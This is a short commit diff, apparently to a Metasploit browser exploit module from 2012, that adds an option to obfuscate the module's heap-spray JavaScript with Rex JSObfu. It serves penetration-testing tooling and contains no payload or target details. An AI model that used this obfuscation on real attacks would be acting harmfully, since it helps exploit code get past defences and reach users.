Support heap spray obfuscation
parent
922f0eb900
commit
30de61168d
|
@ -102,6 +102,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DisclosureDate' => "Apr 1 2012",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
|
@ -127,6 +132,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
|
||||
|
||||
js = heaplib(js, {:noobfu => true})
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate
|
||||
end
|
||||
|
||||
return js
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue